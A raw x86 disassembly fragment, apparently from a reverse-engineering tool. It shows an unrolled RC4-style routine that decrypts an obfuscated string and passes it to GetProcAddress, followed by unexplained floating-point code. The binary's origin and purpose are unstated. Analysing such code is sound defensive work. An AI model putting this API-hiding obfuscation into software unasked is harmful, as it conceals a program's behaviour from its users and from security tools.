mov dword [ebp - 0x2c], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0x2c]
mov dl, byte [ebp - 4]
mov byte [ebx], dl
mov edx, dword [ebp - 4]
and edx, 0xff
mov dword [ebp - 0x14], edx
mov bl, byte [ebp + edx - 0x3b8]
add cl, bl
mov bl, byte [edi]
mov edi, dword [ebp - 0x20]
mov byte [ebp - 0x18], cl
mov edx, dword [ebp - 0x18]
and edx, 0xff
mov dl, byte [ebp + edx - 0x3b8]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
mov edx, dword [ebp - 0x24]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x14]
add ebx, edx
mov dl, byte [ebp + edi - 0x3b8]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x3b8]
mov bl, byte [ebp - 0x30]
mov byte [ebp - 8], bl
xor dl, bl
test esi, esi
mov byte [ebp - 0x1c], dl
jbe 0x4119d4
mov byte [ebp + esi - 0x135], dl
mov edx, dword [ebp - 0x48]
dec edx
mov dword [ebp - 0x48], edx
jne 0x4118bd
mov edi, dword [ebp - 0x40]
inc esi
mov dl, byte [edi + esi*2]
mov bl, byte [edi + esi*2 + 1]
add dl, 7
add bl, 0x7b
shl dl, 4
or dl, bl
mov byte [ebp - 0x30], dl
mov edx, dword [ebp - 8]
and edx, 0xff
lea edi, [ebp + edx - 0x3b8]
mov dl, byte [ebp + edx - 0x3b8]
mov byte [ebp - 4], dl
mov edx, dword [ebp - 0xc]
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
mov dl, byte [ebp - 0xc]
add al, bl
inc dl
mov byte [ebp - 0x10], al
mov byte [ebp - 0xc], dl
mov edx, dword [ebp - 0x10]
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
lea edx, [ebp + edx - 0x3b8]
mov byte [edi], bl
mov ebx, dword [ebp - 0x1c]
and ebx, 0xff
mov dword [ebp - 0x24], edx
lea ebx, [ebp + ebx - 0x3b8]
mov dword [ebp - 0x20], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp - 0xc]
mov ebx, dword [ebp - 0x20]
and edx, 0xff
lea edx, [ebp + edx - 0x3b8]
mov dword [ebp - 0x2c], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0x2c]
mov dl, byte [ebp - 4]
mov byte [ebx], dl
mov edx, dword [ebp - 4]
and edx, 0xff
mov dword [ebp - 0x14], edx
mov bl, byte [ebp + edx - 0x3b8]
add cl, bl
mov bl, byte [edi]
mov edi, dword [ebp - 0x20]
mov byte [ebp - 0x18], cl
mov edx, dword [ebp - 0x18]
and edx, 0xff
mov dl, byte [ebp + edx - 0x3b8]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
mov edx, dword [ebp - 0x24]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x14]
add ebx, edx
mov dl, byte [ebp + edi - 0x3b8]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x3b8]
mov bl, byte [ebp - 0x30]
mov byte [ebp - 8], bl
xor dl, bl
test esi, esi
mov byte [ebp - 0x1c], dl
jbe 0x411afe
mov byte [ebp + esi - 0x135], dl
mov edi, dword [ebp - 0x40]
inc esi
mov dl, byte [edi + esi*2]
mov bl, byte [edi + esi*2 + 1]
add dl, 7
add bl, 0x7b
shl dl, 4
or dl, bl
mov byte [ebp - 0x30], dl
mov edx, dword [ebp - 8]
and edx, 0xff
lea edi, [ebp + edx - 0x3b8]
mov dl, byte [ebp + edx - 0x3b8]
mov byte [ebp - 4], dl
mov edx, dword [ebp - 0x2c]
mov bl, byte [edx]
mov dl, byte [ebp - 0xc]
add al, bl
inc dl
mov byte [ebp - 0x10], al
mov byte [ebp - 0xc], dl
mov edx, dword [ebp - 0x10]
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
lea edx, [ebp + edx - 0x3b8]
mov byte [edi], bl
mov ebx, dword [ebp - 0x1c]
and ebx, 0xff
mov dword [ebp - 0x24], edx
lea ebx, [ebp + ebx - 0x3b8]
mov dword [ebp - 0x20], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp - 0xc]
mov ebx, dword [ebp - 0x20]
and edx, 0xff
lea edx, [ebp + edx - 0x3b8]
mov dword [ebp - 0x2c], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0x2c]
mov dl, byte [ebp - 4]
mov byte [ebx], dl
mov edx, dword [ebp - 4]
and edx, 0xff
mov dword [ebp - 0x14], edx
mov bl, byte [ebp + edx - 0x3b8]
add cl, bl
mov bl, byte [edi]
mov edi, dword [ebp - 0x20]
mov byte [ebp - 0x18], cl
mov edx, dword [ebp - 0x18]
and edx, 0xff
mov dl, byte [ebp + edx - 0x3b8]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
mov edx, dword [ebp - 0x24]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x14]
add ebx, edx
mov dl, byte [ebp + edi - 0x3b8]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x3b8]
mov bl, byte [ebp - 0x30]
mov byte [ebp - 8], bl
xor dl, bl
test esi, esi
mov byte [ebp - 0x1c], dl
jbe 0x411c10
mov byte [ebp + esi - 0x135], dl
mov edx, dword [ebp - 0x40]
inc esi
mov bl, byte [edx + esi*2 + 1]
lea edi, [edx + esi*2]
add bl, 0x7b
mov dl, byte [edi]
add dl, 7
shl dl, 4
or dl, bl
mov byte [ebp - 0x30], dl
mov edx, dword [ebp - 8]
and edx, 0xff
lea edi, [ebp + edx - 0x3b8]
mov dl, byte [ebp + edx - 0x3b8]
mov byte [ebp - 4], dl
mov edx, dword [ebp - 0x2c]
mov bl, byte [edx]
mov dl, byte [ebp - 0xc]
add al, bl
inc dl
mov byte [ebp - 0x10], al
mov byte [ebp - 0xc], dl
mov edx, dword [ebp - 0x10]
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
lea edx, [ebp + edx - 0x3b8]
mov byte [edi], bl
mov ebx, dword [ebp - 0x1c]
and ebx, 0xff
mov dword [ebp - 0x24], edx
lea ebx, [ebp + ebx - 0x3b8]
mov dword [ebp - 0x20], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp - 0xc]
mov ebx, dword [ebp - 0x20]
and edx, 0xff
lea edx, [ebp + edx - 0x3b8]
mov dword [ebp - 0x2c], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0x2c]
mov dl, byte [ebp - 4]
mov byte [ebx], dl
mov edx, dword [ebp - 4]
and edx, 0xff
mov dword [ebp - 0x14], edx
mov bl, byte [ebp + edx - 0x3b8]
add cl, bl
mov bl, byte [edi]
mov edi, dword [ebp - 0x20]
mov byte [ebp - 0x18], cl
mov edx, dword [ebp - 0x18]
and edx, 0xff
mov dl, byte [ebp + edx - 0x3b8]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
mov edx, dword [ebp - 0x24]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x14]
add ebx, edx
mov dl, byte [ebp + edi - 0x3b8]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x3b8]
mov bl, byte [ebp - 0x30]
mov byte [ebp - 8], bl
xor dl, bl
test esi, esi
mov byte [ebp - 0x1c], dl
jbe 0x411d24
mov byte [ebp + esi - 0x135], dl
lea ebx, [esi + 1]
cmp ebx, 0xd
jge 0x411e66
mov edx, dword [ebp - 0x40]
lea edi, [edx + esi*2]
mov edx, 0xd
sub edx, ebx
mov dword [ebp - 0x48], edx
jmp 0x411d45
mov edi, dword [ebp - 0x38]
mov dl, byte [edi + 2]
mov bl, byte [edi + 3]
add edi, 2
add dl, 7
shl dl, 4
add bl, 0x7b
mov dword [ebp - 0x38], edi
or dl, bl
inc esi
mov byte [ebp - 0x30], dl
mov edx, dword [ebp - 8]
and edx, 0xff
lea edi, [ebp + edx - 0x3b8]
mov dl, byte [ebp + edx - 0x3b8]
mov byte [ebp - 4], dl
mov edx, dword [ebp - 0x2c]
mov bl, byte [edx]
mov dl, byte [ebp - 0xc]
add al, bl
inc dl
mov byte [ebp - 0x10], al
mov byte [ebp - 0xc], dl
mov edx, dword [ebp - 0x10]
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
lea edx, [ebp + edx - 0x3b8]
mov byte [edi], bl
mov ebx, dword [ebp - 0x1c]
and ebx, 0xff
mov dword [ebp - 0x24], edx
lea ebx, [ebp + ebx - 0x3b8]
mov dword [ebp - 0x20], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp - 0xc]
mov ebx, dword [ebp - 0x20]
and edx, 0xff
lea edx, [ebp + edx - 0x3b8]
mov dword [ebp - 0x2c], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0x2c]
mov dl, byte [ebp - 4]
mov byte [ebx], dl
mov edx, dword [ebp - 4]
and edx, 0xff
mov dword [ebp - 0x14], edx
mov bl, byte [ebp + edx - 0x3b8]
add cl, bl
mov bl, byte [edi]
mov edi, dword [ebp - 0x20]
mov byte [ebp - 0x18], cl
mov edx, dword [ebp - 0x18]
and edx, 0xff
mov dl, byte [ebp + edx - 0x3b8]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
mov edx, dword [ebp - 0x24]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x14]
add ebx, edx
mov dl, byte [ebp + edi - 0x3b8]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x3b8]
mov bl, byte [ebp - 0x30]
mov byte [ebp - 8], bl
xor dl, bl
test esi, esi
mov byte [ebp - 0x1c], dl
jbe 0x411e59
mov byte [ebp + esi - 0x135], dl
mov edx, dword [ebp - 0x48]
dec edx
mov dword [ebp - 0x48], edx
jne 0x411d42
mov edi, dword [ebp - 0x40]
inc esi
xor ebx, ebx
mov dl, byte [edi + esi*2]
mov bl, byte [edi + esi*2 + 1]
add dl, 7
sub ebx, 0x85
shl dl, 4
or dl, bl
mov byte [ebp - 0x30], dl
mov edx, dword [ebp - 8]
and edx, 0xff
lea edi, [ebp + edx - 0x3b8]
mov dl, byte [ebp + edx - 0x3b8]
mov byte [ebp - 4], dl
mov edx, dword [ebp - 0xc]
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
mov dl, byte [ebp - 0xc]
add al, bl
inc dl
mov byte [ebp - 0x10], al
mov byte [ebp - 0xc], dl
mov edx, dword [ebp - 0x10]
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
lea edx, [ebp + edx - 0x3b8]
mov byte [edi], bl
mov ebx, dword [ebp - 0x1c]
and ebx, 0xff
mov dword [ebp - 0x24], edx
lea ebx, [ebp + ebx - 0x3b8]
mov dword [ebp - 0x20], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp - 0xc]
mov ebx, dword [ebp - 0x20]
and edx, 0xff
lea edx, [ebp + edx - 0x3b8]
mov dword [ebp - 0x2c], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0x2c]
mov dl, byte [ebp - 4]
mov byte [ebx], dl
mov edx, dword [ebp - 4]
and edx, 0xff
mov dword [ebp - 0x14], edx
mov bl, byte [ebp + edx - 0x3b8]
add cl, bl
mov bl, byte [edi]
mov edi, dword [ebp - 0x20]
mov byte [ebp - 0x18], cl
mov edx, dword [ebp - 0x18]
and edx, 0xff
mov dl, byte [ebp + edx - 0x3b8]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
mov edx, dword [ebp - 0x24]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x14]
add ebx, edx
mov dl, byte [ebp + edi - 0x3b8]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x3b8]
mov bl, byte [ebp - 0x30]
xor dl, bl
test esi, esi
mov byte [ebp - 0x1c], dl
jbe 0x411f85
mov byte [ebp + esi - 0x135], dl
mov edi, dword [ebp - 0x40]
inc esi
xor ebx, ebx
xor edx, edx
mov bl, byte [edi + esi*2 + 1]
mov dl, byte [edi + esi*2]
mov edi, ebx
sub edx, 0x99
sub edi, 0x85
mov dword [ebp - 0x48], edi
mov edi, dword [ebp - 0x30]
and edi, 0xff
shl edx, 4
mov bl, byte [ebp + edi - 0x3b8]
lea edi, [ebp + edi - 0x3b8]
mov byte [ebp - 4], bl
mov ebx, dword [ebp - 0x2c]
add al, byte [ebx]
mov byte [ebp - 0x10], al
mov al, byte [ebp - 0xc]
inc al
mov byte [ebp - 0xc], al
mov eax, dword [ebp - 0x10]
and eax, 0xff
mov bl, byte [ebp + eax - 0x3b8]
lea eax, [ebp + eax - 0x3b8]
mov byte [edi], bl
mov ebx, dword [ebp - 0x1c]
and ebx, 0xff
mov dword [ebp - 0x24], eax
lea ebx, [ebp + ebx - 0x3b8]
mov dword [ebp - 0x20], ebx
mov bl, byte [ebx]
mov byte [eax], bl
mov eax, dword [ebp - 0xc]
mov ebx, dword [ebp - 0x20]
and eax, 0xff
test esi, esi
lea eax, [ebp + eax - 0x3b8]
mov dword [ebp - 0x2c], eax
mov al, byte [eax]
mov byte [ebx], al
mov ebx, dword [ebp - 0x2c]
mov al, byte [ebp - 4]
mov byte [ebx], al
jbe 0x41208c
mov eax, dword [ebp - 4]
and eax, 0xff
mov bl, byte [ebp + eax - 0x3b8]
add bl, cl
and ebx, 0xff
mov cl, byte [ebp + ebx - 0x3b8]
mov bl, byte [edi]
mov edi, dword [ebp - 0x20]
add ecx, ebx
mov bl, byte [edi]
add ecx, ebx
xor ebx, ebx
and ecx, 0xff
mov bl, byte [ebp + ecx - 0x3b8]
mov ecx, dword [ebp - 0x24]
mov cl, byte [ecx]
add ecx, eax
mov al, byte [ebp + ebx - 0x3b8]
and ecx, 0xff
mov bl, byte [ebp + ecx - 0x3b8]
xor al, bl
mov bl, byte [ebp - 0x48]
or dl, bl
xor al, dl
mov byte [ebp + esi - 0x135], al
mov byte [ebp - 0x127], 0
mov edx, dword [ebp - 0x1d8]
lea ecx, [ebp - 0x134]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
fld qword [0x89a578]
fld qword [0x89a578]
mov dword [0x8de8c8], eax
fld st(0)
fmul st(1)
fld st(0)
fmul qword [0x8a8c28]
fsub st(1)
fxch st(1)
fmul qword [0x8a8c20]
fadd qword [0x8a8c18]
fdivp st(1)
faddp st(2)
fld st(1)
fcomp qword [0x8a8c10]
fnstsw ax
test ah, 0x41
jne 0x4120f1
fld st(0)
fmul qword [0x8a8c08]
fsubp st(2)
fadd qword [0x8a1480]
fcom qword [0x8a8c00]
fnstsw ax
test ah, 1
jne 0x4120b8